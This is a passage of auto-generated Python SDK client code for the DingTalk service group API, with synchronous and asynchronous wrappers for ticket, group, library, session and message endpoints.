dingtalkservice_group__1__0_models.ListTicketOperateRecordHeaders() return await self.list_ticket_operate_record_with_options_async(request, headers, runtime) def list_ticket_operate_record_with_options( self, request: dingtalkservice_group__1__0_models.ListTicketOperateRecordRequest, headers: dingtalkservice_group__1__0_models.ListTicketOperateRecordHeaders, runtime: util_models.RuntimeOptions, ) -> dingtalkservice_group__1__0_models.ListTicketOperateRecordResponse: UtilClient.validate_model(request) query = {} if not UtilClient.is_unset(request.open_team_id): query['openTeamId'] = request.open_team_id if not UtilClient.is_unset(request.open_ticket_id): query['openTicketId'] = request.open_ticket_id real_headers = {} if not UtilClient.is_unset(headers.common_headers): real_headers = headers.common_headers if not UtilClient.is_unset(headers.x_acs_dingtalk_access_token): real_headers['x-acs-dingtalk-access-token'] = headers.x_acs_dingtalk_access_token req = open_api_models.OpenApiRequest( headers=real_headers, query=OpenApiUtilClient.query(query) ) return TeaCore.from_map( dingtalkservice_group__1__0_models.ListTicketOperateRecordResponse(), self.do_roarequest('ListTicketOperateRecord', 'serviceGroup_1.0', 'HTTP', 'GET', 'AK', f'/v1.0/serviceGroup/tickets/operateRecords', 'json', req, runtime) ) async def list_ticket_operate_record_with_options_async( self, request: dingtalkservice_group__1__0_models.ListTicketOperateRecordRequest, headers: dingtalkservice_group__1__0_models.ListTicketOperateRecordHeaders, runtime: util_models.RuntimeOptions, ) -> dingtalkservice_group__1__0_models.ListTicketOperateRecordResponse: UtilClient.validate_model(request) query = {} if not UtilClient.is_unset(request.open_team_id): query['openTeamId'] = request.open_team_id if not UtilClient.is_unset(request.open_ticket_id): query['openTicketId'] = request.open_ticket_id real_headers = {} if not UtilClient.is_unset(headers.common_headers): real_headers = headers.common_headers if not UtilClient.is_unset(headers.x_acs_dingtalk_access_token): real_headers['x-acs-dingtalk-access-token'] = headers.x_acs_dingtalk_access_token req = open_api_models.OpenApiRequest( headers=real_headers, query=OpenApiUtilClient.query(query) ) return TeaCore.from_map( dingtalkservice_group__1__0_models.ListTicketOperateRecordResponse(), await self.do_roarequest_async('ListTicketOperateRecord', 'serviceGroup_1.0', 'HTTP', 'GET', 'AK', f'/v1.0/serviceGroup/tickets/operateRecords', 'json', req, runtime) ) def query_service_group_message_read_status( self, request: dingtalkservice_group__1__0_models.QueryServiceGroupMessageReadStatusRequest, ) -> dingtalkservice_group__1__0_models.QueryServiceGroupMessageReadStatusResponse: runtime = util_models.RuntimeOptions() headers = dingtalkservice_group__1__0_models.QueryServiceGroupMessageReadStatusHeaders() return self.query_service_group_message_read_status_with_options(request, headers, runtime) async def query_service_group_message_read_status_async( self, request: dingtalkservice_group__1__0_models.QueryServiceGroupMessageReadStatusRequest, ) -> dingtalkservice_group__1__0_models.QueryServiceGroupMessageReadStatusResponse: runtime = util_models.RuntimeOptions() headers = dingtalkservice_group__1__0_models.QueryServiceGroupMessageReadStatusHeaders() return await self.query_service_group_message_read_status_with_options_async(request, headers, runtime) def query_service_group_message_read_status_with_options( self, request: dingtalkservice_group__1__0_models.QueryServiceGroupMessageReadStatusRequest, headers: dingtalkservice_group__1__0_models.QueryServiceGroupMessageReadStatusHeaders, runtime: util_models.RuntimeOptions, ) -> dingtalkservice_group__1__0_models.QueryServiceGroupMessageReadStatusResponse: UtilClient.validate_model(request) body = {} if not UtilClient.is_unset(request.ding_isv_org_id): body['dingIsvOrgId'] = request.ding_isv_org_id if not UtilClient.is_unset(request.ding_org_id): body['dingOrgId'] = request.ding_org_id if not UtilClient.is_unset(request.ding_token_grant_type): body['dingTokenGrantType'] = request.ding_token_grant_type if not UtilClient.is_unset(request.ding_suite_key): body['dingSuiteKey'] = request.ding_suite_key if not UtilClient.is_unset(request.open_team_id): body['openTeamId'] = request.open_team_id if not UtilClient.is_unset(request.open_conversation_id): body['openConversationId'] = request.open_conversation_id if not UtilClient.is_unset(request.open_msg_task_id): body['openMsgTaskId'] = request.open_msg_task_id if not UtilClient.is_unset(request.next_token): body['nextToken'] = request.next_token if not UtilClient.is_unset(request.max_results): body['maxResults'] = request.max_results real_headers = {} if not UtilClient.is_unset(headers.common_headers): real_headers = headers.common_headers if not UtilClient.is_unset(headers.x_acs_dingtalk_access_token): real_headers['x-acs-dingtalk-access-token'] = headers.x_acs_dingtalk_access_token req = open_api_models.OpenApiRequest( headers=real_headers, body=OpenApiUtilClient.parse_to_map(body) ) return TeaCore.from_map( dingtalkservice_group__1__0_models.QueryServiceGroupMessageReadStatusResponse(), self.do_roarequest('QueryServiceGroupMessageReadStatus', 'serviceGroup_1.0', 'HTTP', 'POST', 'AK', f'/v1.0/serviceGroup/messages/readStatus/query', 'json', req, runtime) ) async def query_service_group_message_read_status_with_options_async( self, request: dingtalkservice_group__1__0_models.QueryServiceGroupMessageReadStatusRequest, headers: dingtalkservice_group__1__0_models.QueryServiceGroupMessageReadStatusHeaders, runtime: util_models.RuntimeOptions, ) -> dingtalkservice_group__1__0_models.QueryServiceGroupMessageReadStatusResponse: UtilClient.validate_model(request) body = {} if not UtilClient.is_unset(request.ding_isv_org_id): body['dingIsvOrgId'] = request.ding_isv_org_id if not UtilClient.is_unset(request.ding_org_id): body['dingOrgId'] = request.ding_org_id if not UtilClient.is_unset(request.ding_token_grant_type): body['dingTokenGrantType'] = request.ding_token_grant_type if not UtilClient.is_unset(request.ding_suite_key): body['dingSuiteKey'] = request.ding_suite_key if not UtilClient.is_unset(request.open_team_id): body['openTeamId'] = request.open_team_id if not UtilClient.is_unset(request.open_conversation_id): body['openConversationId'] = request.open_conversation_id if not UtilClient.is_unset(request.open_msg_task_id): body['openMsgTaskId'] = request.open_msg_task_id if not UtilClient.is_unset(request.next_token): body['nextToken'] = request.next_token if not UtilClient.is_unset(request.max_results): body['maxResults'] = request.max_results real_headers = {} if not UtilClient.is_unset(headers.common_headers): real_headers = headers.common_headers if not UtilClient.is_unset(headers.x_acs_dingtalk_access_token): real_headers['x-acs-dingtalk-access-token'] = headers.x_acs_dingtalk_access_token req = open_api_models.OpenApiRequest( headers=real_headers, body=OpenApiUtilClient.parse_to_map(body) ) return TeaCore.from_map( dingtalkservice_group__1__0_models.QueryServiceGroupMessageReadStatusResponse(), await self.do_roarequest_async('QueryServiceGroupMessageReadStatus', 'serviceGroup_1.0', 'HTTP', 'POST', 'AK', f'/v1.0/serviceGroup/messages/readStatus/query', 'json', req, runtime) ) def add_library( self, request: dingtalkservice_group__1__0_models.AddLibraryRequest, ) -> dingtalkservice_group__1__0_models.AddLibraryResponse: runtime = util_models.RuntimeOptions() headers = dingtalkservice_group__1__0_models.AddLibraryHeaders() return self.add_library_with_options(request, headers, runtime) async def add_library_async( self, request: dingtalkservice_group__1__0_models.AddLibraryRequest, ) -> dingtalkservice_group__1__0_models.AddLibraryResponse: runtime = util_models.RuntimeOptions() headers = dingtalkservice_group__1__0_models.AddLibraryHeaders() return await self.add_library_with_options_async(request, headers, runtime) def add_library_with_options( self, request: dingtalkservice_group__1__0_models.AddLibraryRequest, headers: dingtalkservice_group__1__0_models.AddLibraryHeaders, runtime: util_models.RuntimeOptions, ) -> dingtalkservice_group__1__0_models.AddLibraryResponse: UtilClient.validate_model(request) body = {} if not UtilClient.is_unset(request.ding_token_grant_type): body['dingTokenGrantType'] = request.ding_token_grant_type if not UtilClient.is_unset(request.ding_isv_org_id): body['dingIsvOrgId'] = request.ding_isv_org_id if not UtilClient.is_unset(request.ding_suite_key): body['dingSuiteKey'] = request.ding_suite_key if not UtilClient.is_unset(request.ding_org_id): body['dingOrgId'] = request.ding_org_id if not UtilClient.is_unset(request.open_team_ids): body['openTeamIds'] = request.open_team_ids if not UtilClient.is_unset(request.title): body['title'] = request.title if not UtilClient.is_unset(request.description): body['description'] = request.description if not UtilClient.is_unset(request.type): body['type'] = request.type if not UtilClient.is_unset(request.source): body['source'] = request.source if not UtilClient.is_unset(request.source_primary_key): body['sourcePrimaryKey'] = request.source_primary_key if not UtilClient.is_unset(request.user_id): body['userId'] = request.user_id real_headers = {} if not UtilClient.is_unset(headers.common_headers): real_headers = headers.common_headers if not UtilClient.is_unset(headers.x_acs_dingtalk_access_token): real_headers['x-acs-dingtalk-access-token'] = headers.x_acs_dingtalk_access_token req = open_api_models.OpenApiRequest( headers=real_headers, body=OpenApiUtilClient.parse_to_map(body) ) return TeaCore.from_map( dingtalkservice_group__1__0_models.AddLibraryResponse(), self.do_roarequest('AddLibrary', 'serviceGroup_1.0', 'HTTP', 'POST', 'AK', f'/v1.0/serviceGroup/librarys', 'json', req, runtime) ) async def add_library_with_options_async( self, request: dingtalkservice_group__1__0_models.AddLibraryRequest, headers: dingtalkservice_group__1__0_models.AddLibraryHeaders, runtime: util_models.RuntimeOptions, ) -> dingtalkservice_group__1__0_models.AddLibraryResponse: UtilClient.validate_model(request) body = {} if not UtilClient.is_unset(request.ding_token_grant_type): body['dingTokenGrantType'] = request.ding_token_grant_type if not UtilClient.is_unset(request.ding_isv_org_id): body['dingIsvOrgId'] = request.ding_isv_org_id if not UtilClient.is_unset(request.ding_suite_key): body['dingSuiteKey'] = request.ding_suite_key if not UtilClient.is_unset(request.ding_org_id): body['dingOrgId'] = request.ding_org_id if not UtilClient.is_unset(request.open_team_ids): body['openTeamIds'] = request.open_team_ids if not UtilClient.is_unset(request.title): body['title'] = request.title if not UtilClient.is_unset(request.description): body['description'] = request.description if not UtilClient.is_unset(request.type): body['type'] = request.type if not UtilClient.is_unset(request.source): body['source'] = request.source if not UtilClient.is_unset(request.source_primary_key): body['sourcePrimaryKey'] = request.source_primary_key if not UtilClient.is_unset(request.user_id): body['userId'] = request.user_id real_headers = {} if not UtilClient.is_unset(headers.common_headers): real_headers = headers.common_headers if not UtilClient.is_unset(headers.x_acs_dingtalk_access_token): real_headers['x-acs-dingtalk-access-token'] = headers.x_acs_dingtalk_access_token req = open_api_models.OpenApiRequest( headers=real_headers, body=OpenApiUtilClient.parse_to_map(body) ) return TeaCore.from_map( dingtalkservice_group__1__0_models.AddLibraryResponse(), await self.do_roarequest_async('AddLibrary', 'serviceGroup_1.0', 'HTTP', 'POST', 'AK', f'/v1.0/serviceGroup/librarys', 'json', req, runtime) ) def query_group( self, request: dingtalkservice_group__1__0_models.QueryGroupRequest, ) -> dingtalkservice_group__1__0_models.QueryGroupResponse: runtime = util_models.RuntimeOptions() headers = dingtalkservice_group__1__0_models.QueryGroupHeaders() return self.query_group_with_options(request, headers, runtime) async def query_group_async( self, request: dingtalkservice_group__1__0_models.QueryGroupRequest, ) -> dingtalkservice_group__1__0_models.QueryGroupResponse: runtime = util_models.RuntimeOptions() headers = dingtalkservice_group__1__0_models.QueryGroupHeaders() return await self.query_group_with_options_async(request, headers, runtime) def query_group_with_options( self, request: dingtalkservice_group__1__0_models.QueryGroupRequest, headers: dingtalkservice_group__1__0_models.QueryGroupHeaders, runtime: util_models.RuntimeOptions, ) -> dingtalkservice_group__1__0_models.QueryGroupResponse: UtilClient.validate_model(request) body = {} if not UtilClient.is_unset(request.ding_isv_org_id): body['dingIsvOrgId'] = request.ding_isv_org_id if not UtilClient.is_unset(request.ding_org_id): body['dingOrgId'] = request.ding_org_id if not UtilClient.is_unset(request.ding_suite_key): body['dingSuiteKey'] = request.ding_suite_key if not UtilClient.is_unset(request.ding_token_grant_type): body['dingTokenGrantType'] = request.ding_token_grant_type if not UtilClient.is_unset(request.open_team_id): body['openTeamId'] = request.open_team_id if not UtilClient.is_unset(request.open_conversation_id): body['openConversationId'] = request.open_conversation_id if not UtilClient.is_unset(request.biz_id): body['bizId'] = request.biz_id real_headers = {} if not UtilClient.is_unset(headers.common_headers): real_headers = headers.common_headers if not UtilClient.is_unset(headers.x_acs_dingtalk_access_token): real_headers['x-acs-dingtalk-access-token'] = headers.x_acs_dingtalk_access_token req = open_api_models.OpenApiRequest( headers=real_headers, body=OpenApiUtilClient.parse_to_map(body) ) return TeaCore.from_map( dingtalkservice_group__1__0_models.QueryGroupResponse(), self.do_roarequest('QueryGroup', 'serviceGroup_1.0', 'HTTP', 'POST', 'AK', f'/v1.0/serviceGroup/groups/query', 'json', req, runtime) ) async def query_group_with_options_async( self, request: dingtalkservice_group__1__0_models.QueryGroupRequest, headers: dingtalkservice_group__1__0_models.QueryGroupHeaders, runtime: util_models.RuntimeOptions, ) -> dingtalkservice_group__1__0_models.QueryGroupResponse: UtilClient.validate_model(request) body = {} if not UtilClient.is_unset(request.ding_isv_org_id): body['dingIsvOrgId'] = request.ding_isv_org_id if not UtilClient.is_unset(request.ding_org_id): body['dingOrgId'] = request.ding_org_id if not UtilClient.is_unset(request.ding_suite_key): body['dingSuiteKey'] = request.ding_suite_key if not UtilClient.is_unset(request.ding_token_grant_type): body['dingTokenGrantType'] = request.ding_token_grant_type if not UtilClient.is_unset(request.open_team_id): body['openTeamId'] = request.open_team_id if not UtilClient.is_unset(request.open_conversation_id): body['openConversationId'] = request.open_conversation_id if not UtilClient.is_unset(request.biz_id): body['bizId'] = request.biz_id real_headers = {} if not UtilClient.is_unset(headers.common_headers): real_headers = headers.common_headers if not UtilClient.is_unset(headers.x_acs_dingtalk_access_token): real_headers['x-acs-dingtalk-access-token'] = headers.x_acs_dingtalk_access_token req = open_api_models.OpenApiRequest( headers=real_headers, body=OpenApiUtilClient.parse_to_map(body) ) return TeaCore.from_map( dingtalkservice_group__1__0_models.QueryGroupResponse(), await self.do_roarequest_async('QueryGroup', 'serviceGroup_1.0', 'HTTP', 'POST', 'AK', f'/v1.0/serviceGroup/groups/query', 'json', req, runtime) ) def close_human_session( self, request: dingtalkservice_group__1__0_models.CloseHumanSessionRequest, ) -> dingtalkservice_group__1__0_models.CloseHumanSessionResponse: runtime = util_models.RuntimeOptions() headers = dingtalkservice_group__1__0_models.CloseHumanSessionHeaders() return self.close_human_session_with_options(request, headers, runtime) async def close_human_session_async( self, request: dingtalkservice_group__1__0_models.CloseHumanSessionRequest, ) -> dingtalkservice_group__1__0_models.CloseHumanSessionResponse: runtime = util_models.RuntimeOptions() headers = dingtalkservice_group__1__0_models.CloseHumanSessionHeaders() return await self.close_human_session_with_options_async(request, headers, runtime) def close_human_session_with_options( self, request: dingtalkservice_group__1__0_models.CloseHumanSessionRequest, headers: dingtalkservice_group__1__0_models.CloseHumanSessionHeaders, runtime: util_models.RuntimeOptions, ) -> dingtalkservice_group__1__0_models.CloseHumanSessionResponse: UtilClient.validate_model(request) body = {} if not UtilClient.is_unset(request.ding_isv_org_id): body['dingIsvOrgId'] = request.ding_isv_org_id if not UtilClient.is_unset(request.ding_org_id): body['dingOrgId'] = request.ding_org_id if not UtilClient.is_unset(request.ding_suite_key): body['dingSuiteKey'] = request.ding_suite_key if not UtilClient.is_unset(request.ding_token_grant_type): body['dingTokenGrantType'] = request.ding_token_grant_type if not UtilClient.is_unset(request.open_team_id): body['openTeamId'] = request.open_team_id if not UtilClient.is_unset(request.open_conversation_id): body['openConversationId'] = request.open_conversation_id if not UtilClient.is_unset(request.visitor_union_id): body['visitorUnionId'] = request.visitor_union_id real_headers = {} if not UtilClient.is_unset(headers.common_headers): real_headers = headers.common_headers if not UtilClient.is_unset(headers.x_acs_dingtalk_access_token): real_headers['x-acs-dingtalk-access-token'] = headers.x_acs_dingtalk_access_token req = open_api_models.OpenApiRequest( headers=real_headers, body=OpenApiUtilClient.parse_to_map(body) ) return TeaCore.from_map( dingtalkservice_group__1__0_models.CloseHumanSessionResponse(), self.do_roarequest('CloseHumanSession', 'serviceGroup_1.0', 'HTTP', 'POST', 'AK', f'/v1.0/serviceGroup/humanSessions/close', 'json', req, runtime) ) async def close_human_session_with_options_async( self, request: dingtalkservice_group__1__0_models.CloseHumanSessionRequest, headers: dingtalkservice_group__1__0_models.CloseHumanSessionHeaders, runtime: util_models.RuntimeOptions, ) -> dingtalkservice_group__1__0_models.CloseHumanSessionResponse: UtilClient.validate_model(request) body = {} if not UtilClient.is_unset(request.ding_isv_org_id): body['dingIsvOrgId'] = request.ding_isv_org_id if not UtilClient.is_unset(request.ding_org_id): body['dingOrgId'] = request.ding_org_id if not UtilClient.is_unset(request.ding_suite_key): body['dingSuiteKey'] = request.ding_suite_key if not UtilClient.is_unset(request.ding_token_grant_type): body['dingTokenGrantType'] = request.ding_token_grant_type if not UtilClient.is_unset(request.open_team_id): body['openTeamId'] = request.open_team_id if not UtilClient.is_unset(request.open_conversation_id): body['openConversationId'] = request.open_conversation_id if not UtilClient.is_unset(request.visitor_union_id): body['visitorUnionId'] = request.visitor_union_id real_headers = {} if not UtilClient.is_unset(headers.common_headers): real_headers = headers.common_headers if not UtilClient.is_unset(headers.x_acs_dingtalk_access_token): real_headers['x-acs-dingtalk-access-token'] = headers.x_acs_dingtalk_access_token req = open_api_models.OpenApiRequest( headers=real_headers, body=OpenApiUtilClient.parse_to_map(body) ) return TeaCore.from_map( dingtalkservice_group__1__0_models.CloseHumanSessionResponse(), await self.do_roarequest_async('CloseHumanSession', 'serviceGroup_1.0', 'HTTP', 'POST', 'AK', f'/v1.0/serviceGroup/humanSessions/close', 'json', req, runtime) ) def urge_ticket( self, request: dingtalkservice_group__1__0_models.UrgeTicketRequest, ) -> dingtalkservice_group__1__0_models.UrgeTicketResponse: runtime = util_models.RuntimeOptions() headers = dingtalkservice_group__1__0_models.UrgeTicketHeaders() return self.urge_ticket_with_options(request, headers, runtime) async def urge_ticket_async( self, request: dingtalkservice_group__1__0_models.UrgeTicketRequest, ) -> dingtalkservice_group__1__0_models.UrgeTicketResponse: runtime = util_models.RuntimeOptions() headers = dingtalkservice_group__1__0_models.UrgeTicketHeaders() return await self.urge_ticket_with_options_async(request, headers, runtime) def urge_ticket_with_options( self, request: dingtalkservice_group__1__0_models.UrgeTicketRequest, headers: dingtalkservice_group__1__0_models.UrgeTicketHeaders, runtime: util_models.RuntimeOptions, ) -> dingtalkservice_group__1__0_models.UrgeTicketResponse: UtilClient.validate_model(request) body = {} if not UtilClient.is_unset(request.ding_isv_org_id): body['dingIsvOrgId'] = request.ding_isv_org_id if not UtilClient.is_unset(request.ding_org_id): body['dingOrgId'] = request.ding_org_id if not UtilClient.is_unset(request.ding_suite_key): body['dingSuiteKey'] = request.ding_suite_key if not UtilClient.is_unset(request.ding_token_grant_type): body['dingTokenGrantType'] = request.ding_token_grant_type if not UtilClient.is_unset(request.operator_union_id): body['operatorUnionId'] = request.operator_union_id if not UtilClient.is_unset(request.open_ticket_id): body['openTicketId'] = request.open_ticket_id if not UtilClient.is_unset(request.ticket_memo): body['ticketMemo'] = request.ticket_memo if not UtilClient.is_unset(request.open_team_id): body['openTeamId'] = request.open_team_id real_headers = {} if not UtilClient.is_unset(headers.common_headers): real_headers = headers.common_headers if not UtilClient.is_unset(headers.x_acs_dingtalk_access_token): real_headers['x-acs-dingtalk-access-token'] = headers.x_acs_dingtalk_access_token req = open_api_models.OpenApiRequest( headers=real_headers, body=OpenApiUtilClient.parse_to_map(body) ) return TeaCore.from_map( dingtalkservice_group__1__0_models.UrgeTicketResponse(), self.do_roarequest('UrgeTicket', 'serviceGroup_1.0', 'HTTP', 'POST', 'AK', f'/v1.0/serviceGroup/tickets/urge', 'none', req, runtime) ) async def urge_ticket_with_options_async( self, request: dingtalkservice_group__1__0_models.UrgeTicketRequest, headers: dingtalkservice_group__1__0_models.UrgeTicketHeaders, runtime: util_models.RuntimeOptions, ) -> dingtalkservice_group__1__0_models.UrgeTicketResponse: UtilClient.validate_model(request) body = {} if not UtilClient.is_unset(request.ding_isv_org_id): body['dingIsvOrgId'] = request.ding_isv_org_id if not UtilClient.is_unset(request.ding_org_id): body['dingOrgId'] = request.ding_org_id if not UtilClient.is_unset(request.ding_suite_key): body['dingSuiteKey'] = request.ding_suite_key if not UtilClient.is_unset(request.ding_token_grant_type): body['dingTokenGrantType'] = request.ding_token_grant_type if not UtilClient.is_unset(request.operator_union_id): body['operatorUnionId'] = request.operator_union_id if not UtilClient.is_unset(request.open_ticket_id): body['openTicketId'] = request.open_ticket_id if not UtilClient.is_unset(request.ticket_memo): body['ticketMemo'] = request.ticket_memo if not UtilClient.is_unset(request.open_team_id): body['openTeamId'] = request.open_team_id real_headers = {} if not UtilClient.is_unset(headers.common_headers): real_headers = headers.common_headers if not UtilClient.is_unset(headers.x_acs_dingtalk_access_token): real_headers['x-acs-dingtalk-access-token'] = headers.x_acs_dingtalk_access_token req = open_api_models.OpenApiRequest( headers=real_headers, body=OpenApiUtilClient.parse_to_map(body) ) return TeaCore.from_map( dingtalkservice_group__1__0_models.UrgeTicketResponse(), await self.do_roarequest_async('UrgeTicket', 'serviceGroup_1.0', 'HTTP', 'POST', 'AK', f'/v1.0/serviceGroup/tickets/urge', 'none', req, runtime) ) def get_ticket( self, request: dingtalkservice_group__1__0_models.GetTicketRequest, ) -> dingtalkservice_group__1__0_models.GetTicketResponse: runtime = util_models.RuntimeOptions() headers = dingtalkservice_group__1__0_models.GetTicketHeaders() return self.get_ticket_with_options(request, headers, runtime) async def get_ticket_async( self, request: dingtalkservice_group__1__0_models.GetTicketRequest, ) -> dingtalkservice_group__1__0_models.GetTicketResponse: runtime = util_models.RuntimeOptions() headers = dingtalkservice_group__1__0_models.GetTicketHeaders() return await self.get_ticket_with_options_async(request, headers, runtime) def get_ticket_with_options( self, request: dingtalkservice_group__1__0_models.GetTicketRequest, headers: dingtalkservice_group__1__0_models.GetTicketHeaders, runtime: util_models.RuntimeOptions, ) -> dingtalkservice_group__1__0_models.GetTicketResponse: UtilClient.validate_model(request) query = {} if not UtilClient.is_unset(request.open_team_id): query['openTeamId'] = request.open_team_id if not UtilClient.is_unset(request.open_ticket_id): query['openTicketId'] = request.open_ticket_id real_headers = {} if not UtilClient.is_unset(headers.common_headers): real_headers = headers.common_headers if not UtilClient.is_unset(headers.x_acs_dingtalk_access_token): real_headers['x-acs-dingtalk-access-token'] = headers.x_acs_dingtalk_access_token req = open_api_models.OpenApiRequest( headers=real_headers, query=OpenApiUtilClient.query(query) ) return TeaCore.from_map( dingtalkservice_group__1__0_models.GetTicketResponse(), self.do_roarequest('GetTicket', 'serviceGroup_1.0', 'HTTP', 'GET', 'AK', f'/v1.0/serviceGroup/tickets', 'json', req, runtime) ) async def get_ticket_with_options_async( self, request: dingtalkservice_group__1__0_models.GetTicketRequest, headers: dingtalkservice_group__1__0_models.GetTicketHeaders, runtime: util_models.RuntimeOptions, ) -> dingtalkservice_group__1__0_models.GetTicketResponse: UtilClient.validate_model(request) query = {} if not UtilClient.is_unset(request.open_team_id): query['openTeamId'] = request.open_team_id if not UtilClient.is_unset(request.open_ticket_id): query['openTicketId'] = request.open_ticket_id real_headers = {} if not UtilClient.is_unset(headers.common_headers): real_headers = headers.common_headers if not UtilClient.is_unset(headers.x_acs_dingtalk_access_token): real_headers['x-acs-dingtalk-access-token'] = headers.x_acs_dingtalk_access_token req = open_api_models.OpenApiRequest( headers=real_headers, query=OpenApiUtilClient.query(query) ) return TeaCore.from_map( dingtalkservice_group__1__0_models.GetTicketResponse(), await self.do_roarequest_async('GetTicket', 'serviceGroup_1.0', 'HTTP', 'GET', 'AK', f'/v1.0/serviceGroup/tickets', 'json', req, runtime) ) def get_oss_temp_url( self, request: dingtalkservice_group__1__0_models.GetOssTempUrlRequest, ) -> dingtalkservice_group__1__0_models.GetOssTempUrlResponse: runtime = util_models.RuntimeOptions() headers = dingtalkservice_group__1__0_models.GetOssTempUrlHeaders() return self.get_oss_temp_url_with_options(request, headers, runtime) async def get_oss_temp_url_async( self, request: dingtalkservice_group__1__0_models.GetOssTempUrlRequest, ) -> dingtalkservice_group__1__0_models.GetOssTempUrlResponse: runtime = util_models.RuntimeOptions() headers = dingtalkservice_group__1__0_models.GetOssTempUrlHeaders() return await self.get_oss_temp_url_with_options_async(request, headers, runtime) def get_oss_temp_url_with_options( self, request: dingtalkservice_group__1__0_models.GetOssTempUrlRequest, headers: dingtalkservice_group__1__0_models.GetOssTempUrlHeaders, runtime: util_models.RuntimeOptions, ) -> dingtalkservice_group__1__0_models.GetOssTempUrlResponse: UtilClient.validate_model(request) query = {} if not UtilClient.is_unset(request.open_team_id): query['openTeamId'] = request.open_team_id if not UtilClient.is_unset(request.key): query['key'] = request.key if not UtilClient.is_unset(request.file_name): query['fileName'] = request.file_name if not UtilClient.is_unset(request.fetch_mode): query['fetchMode'] = request.fetch_mode real_headers = {} if not UtilClient.is_unset(headers.common_headers): real_headers = headers.common_headers if not UtilClient.is_unset(headers.x_acs_dingtalk_access_token): real_headers['x-acs-dingtalk-access-token'] = headers.x_acs_dingtalk_access_token req = open_api_models.OpenApiRequest( headers=real_headers, query=OpenApiUtilClient.query(query) ) return TeaCore.from_map( dingtalkservice_group__1__0_models.GetOssTempUrlResponse(), self.do_roarequest('GetOssTempUrl', 'serviceGroup_1.0', 'HTTP', 'GET', 'AK', f'/v1.0/serviceGroup/ossServices/tempUrls', 'json', req, runtime) ) async def get_oss_temp_url_with_options_async( self, request: dingtalkservice_group__1__0_models.GetOssTempUrlRequest, headers: dingtalkservice_group__1__0_models.GetOssTempUrlHeaders, runtime: util_models.RuntimeOptions, ) -> dingtalkservice_group__1__0_models.GetOssTempUrlResponse: UtilClient.validate_model(request) query = {} if not UtilClient.is_unset(request.open_team_id): query['openTeamId'] = request.open_team_id if not UtilClient.is_unset(request.key): query['key'] = request.key if not UtilClient.is_unset(request.file_name): query['fileName'] = request.file_name if not UtilClient.is_unset(request.fetch_mode): query['fetchMode'] = request.fetch_mode real_headers = {} if not UtilClient.is_unset(headers.common_headers): real_headers = headers.common_headers if not UtilClient.is_unset(headers.x_acs_dingtalk_access_token): real_headers['x-acs-dingtalk-access-token'] = headers.x_acs_dingtalk_access_token req = open_api_models.OpenApiRequest( headers=real_headers, query=OpenApiUtilClient.query(query) ) return TeaCore.from_map( dingtalkservice_group__1__0_models.GetOssTempUrlResponse(), await self.do_roarequest_async('GetOssTempUrl', 'serviceGroup_1.0', 'HTTP', 'GET', 'AK', f'/v1.0/serviceGroup/ossServices/tempUrls', 'json', req, runtime) ) def take_ticket( self, request: dingtalkservice_group__1__0_models.TakeTicketRequest, ) -> dingtalkservice_group__1__0_models.TakeTicketResponse: runtime = util_models.RuntimeOptions() headers = dingtalkservice_group__1__0_models.TakeTicketHeaders() return self.take_ticket_with_options(request, headers, runtime) async def take_ticket_async( self, request: dingtalkservice_group__1__0_models.TakeTicketRequest, ) -> dingtalkservice_group__1__0_models.TakeTicketResponse: runtime = util_models.RuntimeOptions() headers = dingtalkservice_group__1__0_models.TakeTicketHeaders() return await self.take_ticket_with_options_async(request, headers, runtime) def take_ticket_with_options( self, request: dingtalkservice_group__1__0_models.TakeTicketRequest, headers: dingtalkservice_group__1__0_models.TakeTicketHeaders, runtime: util_models.RuntimeOptions, ) -> dingtalkservice_group__1__0_models.TakeTicketResponse: UtilClient.validate_model(request) body = {} if not UtilClient.is_unset(request.ding_isv_org_id): body['dingIsvOrgId'] = request.ding_isv_org_id if not UtilClient.is_unset(request.ding_org_id): body['dingOrgId'] = request.ding_org_id if not UtilClient.is_unset(request.ding_suite_key): body['dingSuiteKey'] = request.ding_suite_key if not UtilClient.is_unset(request.ding_token_grant_type): body['dingTokenGrantType'] = request.ding_token_grant_type if not UtilClient.is_unset(request.open_team_id): body['openTeamId'] = request.open_team_id if not UtilClient.is_unset(request.taker_union_id): body['takerUnionId'] = request.taker_union_id if not UtilClient.is_unset(request.open_ticket_id): body['openTicketId'] = request.open_ticket_id real_headers = {} if not UtilClient.is_unset(headers.common_headers): real_headers = headers.common_headers if not UtilClient.is_unset(headers.x_acs_dingtalk_access_token): real_headers['x-acs-dingtalk-access-token'] = headers.x_acs_dingtalk_access_token req = open_api_models.OpenApiRequest( headers=real_headers, body=OpenApiUtilClient.parse_to_map(body) ) return TeaCore.from_map( dingtalkservice_group__1__0_models.TakeTicketResponse(), self.do_roarequest('TakeTicket', 'serviceGroup_1.0', 'HTTP', 'POST', 'AK', f'/v1.0/serviceGroup/tickets/apply', 'none', req, runtime) ) async def take_ticket_with_options_async( self, request: dingtalkservice_group__1__0_models.TakeTicketRequest, headers: dingtalkservice_group__1__0_models.TakeTicketHeaders, runtime: util_models.RuntimeOptions, ) -> dingtalkservice_group__1__0_models.TakeTicketResponse: UtilClient.validate_model(request) body = {} if not UtilClient.is_unset(request.ding_isv_org_id): body['dingIsvOrgId'] = request.ding_isv_org_id if not UtilClient.is_unset(request.ding_org_id): body['dingOrgId'] = request.ding_org_id if not UtilClient.is_unset(request.ding_suite_key): body['dingSuiteKey'] = request.ding_suite_key if not UtilClient.is_unset(request.ding_token_grant_type): body['dingTokenGrantType'] = request.ding_token_grant_type if not UtilClient.is_unset(request.open_team_id): body['openTeamId'] = request.open_team_id if not UtilClient.is_unset(request.taker_union_id): body['takerUnionId'] = request.taker_union_id if not UtilClient.is_unset(request.open_ticket_id): body['openTicketId'] = request.open_ticket_id real_headers = {} if not UtilClient.is_unset(headers.common_headers): real_headers = headers.common_headers if not UtilClient.is_unset(headers.x_acs_dingtalk_access_token): real_headers['x-acs-dingtalk-access-token'] = headers.x_acs_dingtalk_access_token req = open_api_models.OpenApiRequest( headers=real_headers, body=OpenApiUtilClient.parse_to_map(body) ) return TeaCore.from_map( dingtalkservice_group__1__0_models.TakeTicketResponse(), await self.do_roarequest_async('TakeTicket', 'serviceGroup_1.0', 'HTTP', 'POST', 'AK', f'/v1.0/serviceGroup/tickets/apply', 'none', req, runtime) ) def send_service_group_message( self, request: dingtalkservice_group__1__0_models.SendServiceGroupMessageRequest, ) -> dingtalkservice_group__1__0_models.SendServiceGroupMessageResponse: runtime = util_models.RuntimeOptions() headers = dingtalkservice_group__1__0_models.SendServiceGroupMessageHeaders() return self.send_service_group_message_with_options(request, headers, runtime) async def send_service_group_message_async( self, request: 